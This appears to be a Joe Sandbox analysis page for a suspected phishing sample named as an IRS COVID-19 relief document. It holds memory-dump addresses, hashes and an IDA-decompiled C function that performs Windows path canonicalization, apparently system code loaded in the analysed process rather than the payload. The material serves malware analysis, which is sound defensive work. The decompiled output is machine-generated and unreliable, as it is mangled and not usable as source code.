0x1e2c5e7f
0x1e2c5e7f
0x1e2c5e79
0x1e26f95b
0x1e26f960
0x1e2c5e88
0x1e2c5e8a
0x1e2c5e8a
0x1e2c5e8e
0x1e2c5e93
0x00000000
0x1e2c5e99
0x1e2c5e9c
0x1e2c5e9f
0x1e2c5ea1
0x1e2c5ea3
0x1e2c5ea3
0x1e2c5ea7
0x00000000
0x1e2c5ea7
0x1e26f966
0x1e26f966
0x1e26f96b
0x1e2c5eb0
0x1e2c5eb6
0x1e2c5eb6
0x1e2c5eb0
0x1e26f973
0x1e26fbc7
0x1e26f9a5
0x1e26f9a5
0x00000000
0x1e26f979
0x1e26f97d
0x1e26f97f
0x1e2c5ebf
0x1e2c5ec5
0x1e2c5ec5
0x1e2c5ebf
0x1e26f987
0x00000000
0x1e26f98d
0x1e26f98d
0x1e26f990
0x1e26f994
0x1e26f997
0x1e26f99f
0x1e26fff7
0x1e270061
0x1e270064
0x1e27006a
0x1e2c5ece
0x1e2c5ed0
0x1e2c5ed0
0x00000000
0x1e270064
0x1e26fffd
0x1e270000
0x00000000
0x1e270006
0x1e2c5ecc
0x00000000
0x1e2c5ecc
0x1e270000
0x00000000
0x1e26f99f
0x1e26f987
0x1e26f973

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc66cec98a30fadb5342584c4926ef08b8d30d1ee31ce6150576712f1cb138a4
Instruction ID: eaf622892aa4af70b9f4eb3383067d14799560bb94f50d2d15f2e307f45f77ab
Opcode Fuzzy Hash: fc66cec98a30fadb5342584c4926ef08b8d30d1ee31ce6150576712f1cb138a4
Instruction Fuzzy Hash: E362D336E246939BEF11CE29C470A5ABBA3AF59714F798398CC54AB349D371DCC18780

Uniqueness

Uniqueness Score: -1.00%

Function 1E286E30, Relevance: .5, Instructions: 481
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E1E286E30(signed short __ecx, signed short __edx, signed int _a4, intOrPtr* _a8, char* _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				char _v20;
				signed int _v32;
				signed short _v34;
				intOrPtr _v36;
				signed short _v38;
				signed short _v40;
				char _v41;
				signed int _v48;
				short _v50;
				signed int _v52;
				signed short _v54;
				signed int _v56;
				char _v57;
				signed int _v64;
				signed int _v68;
				signed short _v70;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed short _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				unsigned int _v116;
				signed int _v120;
				signed int _v124;
				unsigned int _v128;
				char _v136;
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed int _t312;
				signed int _t313;
				char* _t315;
				unsigned int _t316;
				signed int _t317;
				short* _t319;
				void* _t320;
				signed int _t321;
				signed short _t327;
				signed int _t328;
				signed int _t335;
				signed short* _t336;
				signed int _t337;
				signed int _t338;
				signed int _t349;
				signed short _t352;
				signed int _t357;
				signed int _t360;
				signed int _t363;
				void* _t365;
				signed int _t366;
				signed short* _t367;
				signed int _t369;
				signed int _t375;
				signed int _t379;
				signed int _t384;
				signed int _t386;
				void* _t387;
				signed short _t389;
				intOrPtr* _t392;
				signed int _t397;
				unsigned int _t399;
				signed int _t401;
				signed int _t402;
				signed int _t407;
				void* _t415;
				signed short _t417;
				unsigned int _t418;
				signed int _t419;
				signed int _t420;
				signed int _t422;
				intOrPtr* _t433;
				signed int _t435;
				void* _t436;
				signed int _t437;
				signed int _t438;
				signed int _t440;
				signed short _t443;
				void* _t444;
				signed int _t445;
				signed int _t446;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t453;

				_t425 = __edx;
				_push(0xfffffffe);
				_push(0x1e33fca8);
				_push(0x1e2b17f0);
				_push( *[fs:0x0]);
				_t312 =  *0x1e35d360;
				_v12 = _v12 ^ _t312;
				_t313 = _t312 ^ _t453;
				_v32 = _t313;
				_push(_t313);
				 *[fs:0x0] =  &_v20;
				_v116 = __edx;
				_t443 = __ecx;
				_v88 = __ecx;
				_t386 = _a4;
				_t433 = _a8;
				_v112 = _t433;
				_t315 = _a12;
				_v64 = _t315;
				_t392 = _a16;
				_v108 = _t392;
				if(_t433 != 0) {
					 *_t433 = 0;
				}
				if(_t315 != 0) {
					 *_t315 = 0;
				}
				if(_t425 > 0xffff) {
					_v116 = 0xffff;
				}
				 *_t392 = 0;
				 *((intOrPtr*)(_t392 + 4)) = 0;
				_t316 =  *_t443 & 0x0000ffff;
				_v104 = _t316;
				_t435 = _t316 >> 1;
				_v120 = _t435;
				if(_t435 == 0) {
					L124:
					_t317 = 0;
					goto L60;
				} else {
					_t319 =  *((intOrPtr*)(_t443 + 4));
					if( *_t319 != 0) {
						_t397 = _t435;
						_t320 = _t319 + _t435 * 2;
						_t425 = _t320 - 2;
						while(_t397 != 0) {
							if( *_t425 == 0x20) {
								_t397 = _t397 - 1;
								_t425 = _t425 - 2;
								continue;
							}
							if(_t397 == 0) {
								goto L124;
							}
							_t321 =  *(_t320 - 2) & 0x0000ffff;
							if(_t321 == 0x5c || _t321 == 0x2f) {
								_v57 = 0;
							} else {
								_v57 = 1;
							}
							_t399 = _v116 >> 1;
							_v92 = _t399;
							_v128 = _t399;
							E1E2AFA60(_t386, 0, _v116);
							_v56 = 0;
							_v52 = 0;
							_v50 = _v92 + _v92;
							_v48 = _t386;
							_t327 = E1E2874C0(_t443);
							if(_t327 != 0) {
								_t389 = _t327 >> 0x10;
								_t328 = _t327 & 0x0000ffff;
								_v112 = _t328;
								_t437 = _v64;
								if(_t437 == 0) {
									L122:
									_t438 = _t328 + 8;
									_t401 = _v92;
									if(_t438 >= (_t401 + _t401 & 0x0000ffff)) {
										_t209 = _t438 + 2; // 0xddeeddf0
										_t402 = _t209;
										asm("sbb eax, eax");
										_t317 =  !0xffff & _t402;
									} else {
										E1E299BC6( &_v52, 0x1e241080);
										_t425 =  *((intOrPtr*)(_t443 + 4)) + (_t389 >> 1) * 2;
										E1E2A9377( &_v52,  *((intOrPtr*)(_t443 + 4)) + (_t389 >> 1) * 2, _v112);
										_t317 = _t438;
									}
									goto L60;
								}
								if(_t389 != 0) {
									_t425 = _t389;
									_t335 = E1E2E46A7(_t443, _t389, _t437);
									if(_t335 < 0) {
										goto L124;
									}
									if( *_t437 != 0) {
										goto L124;
									}
									_t328 = _v112;
								}
								goto L122;
							} else {
								_t425 = _t443;
								_t336 =  *(_t425 + 4);
								_t407 =  *_t425 & 0x0000ffff;
								if(_t407 < 2) {
									L17:
									if(_t407 < 4 ||  *_t336 == 0 || _t336[1] != 0x3a) {
										_t337 = 5;
									} else {
										if(_t407 < 6) {
											L98:
											_t337 = 3;
											L23:
											 *_v108 = _t337;
											_t409 = 0;
											_v72 = 0;
											_v68 = 0;
											_v64 = 0;
											_v84 = 0;
											_v41 = 0;
											_t445 = 0;
											_v76 = 0;
											_v8 = 0;
											if(_t337 != 2) {
												_t338 = _t337 - 1;
												if(_t338 > 6) {
													L164:
													_t446 = 0;
													_v64 = 0;
													_t439 = _v92;
													goto L59;
												}
												switch( *((intOrPtr*)(_t338 * 4 +  &M1E28749C))) {
													case 0:
														__ecx = 0;
														__eflags = 0;
														_v124 = 0;
														__esi = 2;
														while(1) {
															_v100 = __esi;
															__eflags = __esi - __edi;
															if(__esi >= __edi) {
																break;
															}
															__eax =  *(__edx + 4);
															__eax =  *( *(__edx + 4) + __esi * 2) & 0x0000ffff;
															__eflags = __eax - 0x5c;
															if(__eax == 0x5c) {
																L140:
																__ecx = __ecx + 1;
																_v124 = __ecx;
																__eflags = __ecx - 2;
																if(__ecx == 2) {
																	break;
																}
																L141:
																__esi = __esi + 1;
																continue;
															}
															__eflags = __eax - 0x2f;
															if(__eax != 0x2f) {
																goto L141;
															}
															goto L140;
														}
														__eax = __esi;
														_v80 = __esi;
														__eax =  *(__edx + 4);
														_v68 =  *(__edx + 4);
														__eax = __esi + __esi;
														_v72 = __ax;
														__eax =  *(__edx + 2) & 0x0000ffff;
														_v70 = __ax;
														_v76 = __esi;
														goto L80;
													case 1:
														goto L164;
													case 2:
														__eax = E1E2652A5(__ecx);
														_v84 = __eax;
														_v41 = 1;
														__eflags = __eax;
														if(__eax == 0) {
															__eax =  *[fs:0x30];
															__ebx =  *(__eax + 0x10);
															__ebx =  *(__eax + 0x10) + 0x24;
														} else {
															__ebx = __eax + 0xc;
														}
														 *(__ebx + 4) =  *( *(__ebx + 4)) & 0x0000ffff;
														__eax = L1E272600( *( *(__ebx + 4)) & 0x0000ffff);
														__si = __ax;
														_v88 =  *(_v88 + 4);
														__ecx =  *( *(_v88 + 4)) & 0x0000ffff;
														__eax = L1E272600( *( *(_v88 + 4)) & 0x0000ffff);
														_v54 = __ax;
														__eflags = __ax - __ax;
														if(__eflags != 0) {
															__cx = __ax;
															L1E2E4735(__ecx, __edx, __eflags) = 0x3d;
															_v40 = __ax;
															__si = _v54;
															_v38 = __si;
															_v36 = 0x3a;
															 &_v40 =  &_v136;
															E1E2ABB40(__ecx,  &_v136,  &_v40) =  &_v52;
															__eax =  &_v136;
															__eax = E1E292010(__ecx, 0,  &_v136,  &_v52);
															__eflags = __eax;
															if(__eax >= 0) {
																__ax = _v52;
																_v56 = __eax;
																__edx = __ax & 0x0000ffff;
																__ecx = __edx;
																__ecx = __edx >> 1;
																_v100 = __ecx;
																__eflags = __ecx - 3;
																if(__ecx <= 3) {
																	L155:
																	__ebx = _v48;
																	L156:
																	_v72 = __ax;
																	goto L119;
																}
																__eflags = __ecx - _v92;
																if(__ecx >= _v92) {
																	goto L155;
																}
																__esi = 0x5c;
																__ebx = _v48;
																 *(__ebx + __ecx * 2) = __si;
																__eax = __edx + 2;
																_v56 = __edx + 2;
																_v52 = __ax;
																goto L156;
															}
															__eflags = __eax - 0xc0000023;
															if(__eax != 0xc0000023) {
																__eax = 0;
																_v52 = __ax;
																_v40 = __si;
																_v38 = 0x5c003a;
																_v34 = __ax;
																__edx =  &_v40;
																__ecx =  &_v52;
																L1E2E4658(__ecx,  &_v40) = 8;
																_v72 = __ax;
																__ebx = _v48;
																__ax = _v52;
																_v56 = 8;
																goto L119;
															}
															__ax = _v52;
															_v56 = __eax;
															__eax = __ax & 0x0000ffff;
															__eax = (__ax & 0x0000ffff) + 2;
															_v64 = __eax;
															__eflags = __eax - 0xffff;
															if(__eax <= 0xffff) {
																_v72 = __ax;
																__ebx = _v48;
																goto L119;
															}
															__esi = 0;
															_v64 = 0;
															__ebx = _v48;
															__edi = _v92;
															goto L58;
														} else {
															__eax =  *__ebx;
															_v72 =  *__ebx;
															__eax =  *(__ebx + 4);
															_v68 =  *(__ebx + 4);
															__edx =  &_v72;
															__ecx =  &_v52;
															__eax = E1E299BC6(__ecx,  &_v72);
															__ebx = _v48;
															__eax = _v52 & 0x0000ffff;
															_v56 = _v52 & 0x0000ffff;
															L119:
															__eax = 3;
															_v80 = 3;
															__esi = 2;
															_v76 = 2;
															__edx = _v88;
															goto L25;
														}
													case 3:
														__eax = E1E2652A5(__ecx);
														_v84 = __eax;
														_v41 = 1;
														__eflags = __eax;
														if(__eax == 0) {
															__eax =  *[fs:0x30];
															__ebx =  *(__eax + 0x10);
															__ebx =  *(__eax + 0x10) + 0x24;
															__eflags = __ebx;
															__esi = _v76;
														} else {
															__ebx = __eax + 0xc;
														}
														__ecx = __ebx;
														__eax = L1E2683AE(__ebx);
														_v80 = __eax;
														__ecx =  *__ebx;
														_v72 =  *__ebx;
														__ecx =  *(__ebx + 4);
														_v68 = __ecx;
														__eflags = __eax - 3;
														if(__eax == 3) {
															__eax = 4;
															_v72 = __ax;
														} else {
															__ecx = __eax + __eax;
															_v72 = __cx;
														}
														goto L80;
													case 4:
														_t340 = E1E2652A5(0);
														_v84 = _t340;
														_v41 = 1;
														__eflags = _t340;
														if(_t340 == 0) {
															_t428 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
															_t445 = _v76;
														} else {
															_t428 = _t340 + 0xc;
															 *((intOrPtr*)(_v108 + 4)) =  *((intOrPtr*)(_t340 + 0x14));
														}
														_v72 =  *_t428;
														_v68 = _t428[2];
														_v80 = L1E2683AE(_t428);
														L80:
														E1E299BC6( &_v52,  &_v72);
														_t386 = _v48;
														_v56 = _v52 & 0x0000ffff;
														_t425 = _v88;
														goto L25;
													case 5:
														__eax = 4;
														_v80 = 4;
														__esi = 4;
														_v76 = 4;
														__eflags = __edi - 4;
														if(__edi < 4) {
															__esi = __edi;
															_v76 = __esi;
														}
														__eax =  *0x1e241080;
														_v72 =  *0x1e241080;
														__eax =  *0x1e241084;
														_v68 =  *0x1e241084;
														__edx =  &_v72;
														__ecx =  &_v52;
														__eax = E1E299BC6(__ecx,  &_v72);
														__eax = _v52 & 0x0000ffff;
														_v56 = __eax;
														__edx = _v88;
														__ebx = _v48;
														__eflags = __eax - 6;
														if(__eax >= 6) {
															__eax =  *(__edx + 4);
															__ax =  *((intOrPtr*)(__eax + 4));
															 *(__ebx + 4) =  *((intOrPtr*)(__eax + 4));
														}
														__eax = _v108;
														__eflags =  *_v108 - 7;
														if( *_v108 == 7) {
															_v57 = 0;
														}
														goto L25;
												}
											} else {
												_v80 = 3;
												L25:
												_t349 = _v104 + (_v72 & 0x0000ffff) - _t445 + _t445;
												_v104 = _t349;
												_t415 = _t349 + 2;
												if(_t415 > _v116) {
													if(_t435 <= 1) {
														if( *( *(_t425 + 4)) != 0x2e) {
															goto L72;
														}
														if(_t435 != 1) {
															asm("sbb esi, esi");
															_t446 =  !_t445 & _v104;
															_v64 = _t446;
															_t439 = _v92;
															L58:
															_t409 = _v84;
															L59:
															_v8 = 0xfffffffe;
															E1E28746D(_t386, _t409, _t439, _t446);
															_t317 = _t446;
															L60:
															 *[fs:0x0] = _v20;
															_pop(_t436);
															_pop(_t444);
															_pop(_t387);
															return E1E2AB640(_t317, _t387, _v32 ^ _t453, _t425, _t436, _t444);
														}
														_t417 = _v72;
														if(_t417 != 8) {
															if(_v116 >= (_t417 & 0x0000ffff)) {
																_t352 = _v56;
																_t418 = _t352 & 0x0000ffff;
																_v104 = _t418;
																_t419 = _t418 >> 1;
																_v100 = _t419;
																if(_t419 != 0) {
																	if( *((short*)(_t386 + _t419 * 2 - 2)) == 0x5c) {
																		_t352 = _v104 + 0xfffffffe;
																		_v56 = _t352;
																		_v52 = _t352;
																	}
																}
																L27:
																_t420 = 0;
																_v100 = 0;
																L28:
																L28:
																if(_t420 < (_t352 & 0x0000ffff) >> 1) {
																	goto L69;
																} else {
																	_t422 = (_v56 & 0x0000ffff) >> 1;
																	_v96 = _t422;
																}
																while(_t445 < _t435) {
																	_t363 = ( *(_t425 + 4))[_t445] & 0x0000ffff;
																	if(_t363 == 0x5c) {
																		L44:
																		if(_t422 == 0) {
																			L46:
																			 *(_t386 + _t422 * 2) = 0x5c;
																			_t422 = _t422 + 1;
																			_v96 = _t422;
																			L43:
																			_t445 = _t445 + 1;
																			_v76 = _t445;
																			continue;
																		}
																		if( *((short*)(_t386 + _t422 * 2 - 2)) == 0x5c) {
																			goto L43;
																		}
																		goto L46;
																	}
																	_t365 = _t363 - 0x2e;
																	if(_t365 == 0) {
																		_t126 = _t445 + 1; // 0x2
																		_t366 = _t126;
																		_v104 = _t366;
																		if(_t366 == _t435) {
																			goto L43;
																		}
																		_t367 =  *(_t425 + 4);
																		_t440 =  *(_t367 + 2 + _t445 * 2) & 0x0000ffff;
																		_v108 = _t440;
																		_t435 = _v120;
																		if(_t440 != 0x5c) {
																			if(_v108 == 0x2f) {
																				goto L83;
																			}
																			if(_v108 != 0x2e) {
																				L35:
																				while(_t445 < _t435) {
																					_t369 = ( *(_t425 + 4))[_t445] & 0x0000ffff;
																					if(_t369 == 0x5c || _t369 == 0x2f) {
																						if(_t445 < _t435) {
																							if(_t422 >= 2) {
																								if( *((short*)(_t386 + _t422 * 2 - 2)) == 0x2e) {
																									if( *((short*)(_t386 + _t422 * 2 - 4)) != 0x2e) {
																										_t422 = _t422 - 1;
																										_v96 = _t422;
																									}
																								}
																							}
																						}
																						break;
																					} else {
																						 *(_t386 + _t422 * 2) = _t369;
																						_t422 = _t422 + 1;
																						_v96 = _t422;
																						_t445 = _t445 + 1;
																						_v76 = _t445;
																						continue;
																					}
																				}
																				_t445 = _t445 - 1;
																				_v76 = _t445;
																				goto L43;
																			}
																			_t155 = _t445 + 2; // 0x3
																			_t425 = _v88;
																			if(_t155 == _t435) {
																				while(1) {
																					L103:
																					if(_t422 < _v80) {
																						break;
																					}
																					 *(_t386 + _t422 * 2) = 0;
																					_t425 = _v88;
																					if( *(_t386 + _t422 * 2) != 0x5c) {
																						_t422 = _t422 - 1;
																						_v96 = _t422;
																						continue;
																					} else {
																						goto L105;
																					}
																					while(1) {
																						L105:
																						if(_t422 < _v80) {
																							goto L180;
																						}
																						 *(_t386 + _t422 * 2) = 0;
																						_t435 = _v120;
																						if( *(_t386 + _t422 * 2) == 0x5c) {
																							if(_t422 < _v80) {
																								goto L180;
																							}
																							L110:
																							_t445 = _t445 + 1;
																							_v76 = _t445;
																							goto L43;
																						}
																						_t422 = _t422 - 1;
																						_v96 = _t422;
																					}
																					break;
																				}
																				L180:
																				_t422 = _t422 + 1;
																				_v96 = _t422;
																				goto L110;
																			}
																			_t375 =  *(_t367 + 4 + _t445 * 2) & 0x0000ffff;
																			if(_t375 != 0x5c) {
																				if(_t375 != 0x2f) {
																					goto L35;
																				}
																			}
																			goto L103;
																		}
																		L83:
																		_t445 = _v104;
																		_v76 = _t445;
																		goto L43;
																	}
																	if(_t365 == 1) {
																		goto L44;
																	} else {
																		goto L35;
																	}
																}
																_t449 = _v80;
																if(_v57 != 0) {
																	if(_t422 > _t449) {
																		if( *((short*)(_t386 + _t422 * 2 - 2)) == 0x5c) {
																			_t422 = _t422 - 1;
																			_v96 = _t422;
																		}
																	}
																}
																_t439 = _v92;
																if(_t422 >= _v92) {
																	L52:
																	if(_t422 == 0) {
																		L56:
																		_t425 = _t422 + _t422;
																		_v52 = _t425;
																		if(_v112 != 0) {
																			_t357 = _t422;
																			while(1) {
																				_v100 = _t357;
																				if(_t357 == 0) {
																					break;
																				}
																				if( *((short*)(_t386 + _t357 * 2 - 2)) == 0x5c) {
																					break;
																				}
																				_t357 = _t357 - 1;
																			}
																			if(_t357 >= _t422) {
																				L113:
																				 *_v112 = 0;
																				goto L57;
																			}
																			if(_t357 < _t449) {
																				goto L113;
																			}
																			 *_v112 = _t386 + _t357 * 2;
																		}
																		L57:
																		_t446 = _t425 & 0x0000ffff;
																		_v64 = _t446;
																		goto L58;
																	}
																	_t422 = _t422 - 1;
																	_v96 = _t422;
																	_t360 =  *(_t386 + _t422 * 2) & 0x0000ffff;
																	if(_t360 == 0x20) {
																		goto L51;
																	}
																	if(_t360 == 0x2e) {
																		goto L51;
																	}
																	_t422 = _t422 + 1;
																	_v96 = _t422;
																	goto L56;
																} else {
																	L51:
																	 *(_t386 + _t422 * 2) = 0;
																	goto L52;
																}
																L69:
																if( *((short*)(_t386 + _t420 * 2)) == 0x2f) {
																	 *((short*)(_t386 + _t420 * 2)) = 0x5c;
																}
																_t420 = _t420 + 1;
																_v100 = _t420;
																_t352 = _v56;
																goto L28;
															}
															_t446 = _t417 & 0x0000ffff;
															_v64 = _t446;
															_t439 = _v92;
															goto L58;
														}
														if(_v116 > 8) {
															goto L26;
														}
														_t446 = 0xa;
														_v64 = 0xa;
														_t439 = _v92;
														goto L58;
													}
													L72:
													if(_t415 > 0xffff) {
														_t446 = 0;
													}
													_v64 = _t446;
													_t439 = _v92;
													goto L58;
												}
												L26:
												_t352 = _v56;
												goto L27;
											}
										}
										_t379 = _t336[2] & 0x0000ffff;
										if(_t379 != 0x5c) {
											if(_t379 == 0x2f) {
												goto L22;
											}
											goto L98;
										}
										L22:
										_t337 = 2;
									}
									goto L23;
								}
								_t450 =  *_t336 & 0x0000ffff;
								if(_t450 == 0x5c || _t450 == 0x2f) {
									if(_t407 < 4) {
										L132:
										_t337 = 4;
										goto L23;
									}
									_t451 = _t336[1] & 0x0000ffff;
									if(_t451 != 0x5c) {
										if(_t451 == 0x2f) {
											goto L87;
										}
										goto L132;
									}
									L87:
									if(_t407 < 6) {
										L135:
										_t337 = 1;
										goto L23;
									}
									_t452 = _t336[2] & 0x0000ffff;
									if(_t452 != 0x2e) {
										if(_t452 == 0x3f) {
											goto L89;
										}
										goto L135;
									}
									L89:
									if(_t407 < 8) {
										L134:
										_t337 = ((0 | _t407 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
										goto L23;
									}
									_t384 = _t336[3] & 0x0000ffff;
									if(_t384 != 0x5c) {
										if(_t384 == 0x2f) {
											goto L91;
										}
										goto L134;
									}
									L91:
									_t337 = 6;
									goto L23;
								} else {
									goto L17;
								}
							}
						}
					}
					goto L124;
				}
			}

0x1e286e30
0x1e286e35
0x1e286e37
0x1e286e3c
0x1e286e47
0x1e286e4b
0x1e286e50
0x1e286e53
0x1e286e55
0x1e286e5b
0x1e286e5f
0x1e286e65
0x1e286e68
0x1e286e6a
0x1e286e6d
0x1e286e70
0x1e286e73
0x1e286e76
0x1e286e79
0x1e286e7c
0x1e286e7f
0x1e286e84
0x1e28710f
0x1e28710f
0x1e286e8c
0x1e286e8e
0x1e286e8e
0x1e286e97
0x1e2cf5d3
0x1e2cf5d3
0x1e286e9d
0x1e286ea3
0x1e286eaa
0x1e286ead
0x1e286eb2
0x1e286eb4
0x1e286eb7
0x1e287466
0x1e287466
0x00000000
0x1e286ebd
0x1e286ebd
0x1e286ec4
0x1e286eca
0x1e286ecc
0x1e286ecf
0x1e286ed2
0x1e286ede
0x1e2cf5df
0x1e2cf5e0
0x00000000
0x1e2cf5e0
0x1e286ee6
0x00000000
0x00000000
0x1e286eec
0x1e286ef3
0x1e287181
0x1e286f02
0x1e286f02
0x1e286f02
0x1e286f0b
0x1e286f0d
0x1e286f10
0x1e286f17
0x1e286f21
0x1e286f24
0x1e286f2d
0x1e286f31
0x1e286f36
0x1e286f3d
0x1e287413
0x1e287416
0x1e287419
0x1e28741c
0x1e287421
0x1e28742b
0x1e28742b
0x1e28742e
0x1e287439
0x1e2cf60b
0x1e2cf60b
0x1e2cf615
0x1e2cf619
0x1e28743f
0x1e287447
0x1e287454
0x1e28745a
0x1e28745f
0x1e28745f
0x00000000
0x1e287439
0x1e287425
0x1e2cf5e9
0x1e2cf5ed
0x1e2cf5f4
0x00000000
0x00000000
0x1e2cf5fd
0x00000000
0x00000000
0x1e2cf603
0x1e2cf603
0x00000000
0x1e286f43
0x1e286f43
0x1e286f45
0x1e286f48
0x1e286f4e
0x1e286f65
0x1e286f68
0x1e28721f
0x1e286f83
0x1e286f86
0x1e2872dc
0x1e2872dc
0x1e286f9e
0x1e286fa1
0x1e286fa3
0x1e286fa5
0x1e286fa8
0x1e286fab
0x1e286fae
0x1e286fb1
0x1e286fb4
0x1e286fb6
0x1e286fb9
0x1e286fbf
0x1e28718a
0x1e28718e
0x1e2cf831
0x1e2cf831
0x1e2cf833
0x1e2cf836
0x00000000
0x1e2cf836
0x1e287194
0x00000000
0x1e2cf658
0x1e2cf658
0x1e2cf65a
0x1e2cf65d
0x1e2cf662
0x1e2cf662
0x1e2cf665
0x1e2cf667
0x00000000
0x00000000
0x1e2cf669
0x1e2cf66c
0x1e2cf670
0x1e2cf673
0x1e2cf67a
0x1e2cf67a
0x1e2cf67b
0x1e2cf67e
0x1e2cf681
0x00000000
0x00000000
0x1e2cf683
0x1e2cf683
0x00000000
0x1e2cf683
0x1e2cf675
0x1e2cf678
0x00000000
0x00000000
0x00000000
0x1e2cf678
0x1e2cf686
0x1e2cf688
0x1e2cf68b
0x1e2cf68e
0x1e2cf691
0x1e2cf694
0x1e2cf698
0x1e2cf69c
0x1e2cf6a0
0x00000000
0x00000000
0x00000000
0x00000000
0x1e287397
0x1e28739c
0x1e28739f
0x1e2873a3
0x1e2873a5
0x1e2cf6bb
0x1e2cf6c1
0x1e2cf6c4
0x1e2873ab
0x1e2873ab
0x1e2873ab
0x1e2873b1
0x1e2873b5
0x1e2873ba
0x1e2873c0
0x1e2873c3
0x1e2873c7
0x1e2873cc
0x1e2873d0
0x1e2873d3
0x1e2cf6cc
0x1e2cf6d4
0x1e2cf6d9
0x1e2cf6dd
0x1e2cf6e1
0x1e2cf6e5
0x1e2cf6f0
0x1e2cf6fc
0x1e2cf700
0x1e2cf709
0x1e2cf70e
0x1e2cf710
0x1e2cf784
0x1e2cf788
0x1e2cf78b
0x1e2cf78e
0x1e2cf790
0x1e2cf792
0x1e2cf795
0x1e2cf798
0x1e2cf7b7
0x1e2cf7b7
0x1e2cf7ba
0x1e2cf7ba
0x00000000
0x1e2cf7ba
0x1e2cf79a
0x1e2cf79d
0x00000000
0x00000000
0x1e2cf79f
0x1e2cf7a4
0x1e2cf7a7
0x1e2cf7ab
0x1e2cf7ae
0x1e2cf7b1
0x00000000
0x1e2cf7b1
0x1e2cf712
0x1e2cf717
0x1e2cf74c
0x1e2cf74e
0x1e2cf752
0x1e2cf756
0x1e2cf75d
0x1e2cf761
0x1e2cf764
0x1e2cf76c
0x1e2cf771
0x1e2cf775
0x1e2cf778
0x1e2cf77c
0x00000000
0x1e2cf77c
0x1e2cf719
0x1e2cf71d
0x1e2cf720
0x1e2cf723
0x1e2cf726
0x1e2cf729
0x1e2cf72e
0x1e2cf740
0x1e2cf744
0x00000000
0x1e2cf744
0x1e2cf730
0x1e2cf732
0x1e2cf735
0x1e2cf738
0x00000000
0x1e2873d9
0x1e2873d9
0x1e2873db
0x1e2873de
0x1e2873e1
0x1e2873e4
0x1e2873e7
0x1e2873ea
0x1e2873ef
0x1e2873f2
0x1e2873f6
0x1e2873f9
0x1e2873f9
0x1e2873fe
0x1e287401
0x1e287406
0x1e287409
0x00000000
0x1e287409
0x00000000
0x1e2cf7c5
0x1e2cf7ca
0x1e2cf7cd
0x1e2cf7d1
0x1e2cf7d3
0x1e2cf7da
0x1e2cf7e0
0x1e2cf7e3
0x1e2cf7e3
0x1e2cf7e6
0x1e2cf7d5
0x1e2cf7d5
0x1e2cf7d5
0x1e2cf7e9
0x1e2cf7eb
0x1e2cf7f0
0x1e2cf7f3
0x1e2cf7f5
0x1e2cf7f8
0x1e2cf7fb
0x1e2cf7fe
0x1e2cf801
0x1e2cf80f
0x1e2cf814
0x1e2cf803
0x1e2cf803
0x1e2cf806
0x1e2cf806
0x00000000
0x00000000
0x1e28719d
0x1e2871a2
0x1e2871a5
0x1e2871a9
0x1e2871ab
0x1e2cf826
0x1e2cf829
0x1e2871b1
0x1e2871b1
0x1e2871ba
0x1e2871ba
0x1e2871bf
0x1e2871c5
0x1e2871cf
0x1e2871d2
0x1e2871d8
0x1e2871dd
0x1e2871e4
0x1e2871e7
0x00000000
0x00000000
0x1e287275
0x1e28727a
0x1e28727d
0x1e28727f
0x1e287282
0x1e287284
0x1e2cf6a8
0x1e2cf6aa
0x1e2cf6aa
0x1e28728a
0x1e28728f
0x1e287292
0x1e287297
0x1e28729a
0x1e28729d
0x1e2872a0
0x1e2872a5
0x1e2872a9
0x1e2872ac
0x1e2872af
0x1e2872b2
0x1e2872b5
0x1e2872b7
0x1e2872ba
0x1e2872be
0x1e2872be
0x1e2872c2
0x1e2872c5
0x1e2872c8
0x1e2cf6b2
0x1e2cf6b2
0x00000000
0x00000000
0x1e286fc5
0x1e286fc5
0x1e286fcc
0x1e286fd8
0x1e286fda
0x1e286fdd
0x1e286fe3
0x1e287162
0x1e2cf845
0x00000000
0x00000000
0x1e2cf84e
0x1e2cf8c4
0x1e2cf8c8
0x1e2cf8cb
0x1e2cf8ce
0x1e2870e0
0x1e2870e0
0x1e2870e3
0x1e2870e3
0x1e2870ea
0x1e2870ef
0x1e2870f1
0x1e2870f4
0x1e2870fc
0x1e2870fd
0x1e2870fe
0x1e28710c
0x1e28710c
0x1e2cf850
0x1e2cf858
0x1e2cf87a
0x1e2cf88a
0x1e2cf88d
0x1e2cf890
0x1e2cf893
0x1e2cf895
0x1e2cf898
0x1e2cf8a4
0x1e2cf8ad
0x1e2cf8b0
0x1e2cf8b3
0x1e2cf8b3
0x1e2cf8a4
0x1e286fec
0x1e286fec
0x1e286fee
0x00000000
0x1e286ff1
0x1e286ff8
0x00000000
0x1e286ffe
0x1e287004
0x1e287006
0x1e287006
0x1e287010
0x1e287017
0x1e28701e
0x1e287072
0x1e287074
0x1e28707e
0x1e287083
0x1e287087
0x1e287088
0x1e28706c
0x1e28706c
0x1e28706d
0x00000000
0x1e28706d
0x1e28707c
0x00000000
0x00000000
0x00000000
0x1e28707c
0x1e287020
0x1e287023
0x1e2871ef
0x1e2871ef
0x1e2871f2
0x1e2871f7
0x00000000
0x00000000
0x1e2871fd
0x1e287200
0x1e287205
0x1e28720b
0x1e28720e
0x1e2872eb
0x00000000
0x00000000
0x1e2872f6
0x00000000
0x1e287030
0x1e287037
0x1e28703e
0x1e287055
0x1e28705a
0x1e287062
0x1e2cf908
0x1e2cf90e
0x1e2cf90f
0x1e2cf90f
0x1e2cf908
0x1e287062
0x1e28705a
0x00000000
0x1e287045
0x1e287045
0x1e287049
0x1e28704a
0x1e28704d
0x1e28704e
0x00000000
0x1e28704e
0x1e28703e
0x1e287068
0x1e287069
0x00000000
0x1e287069
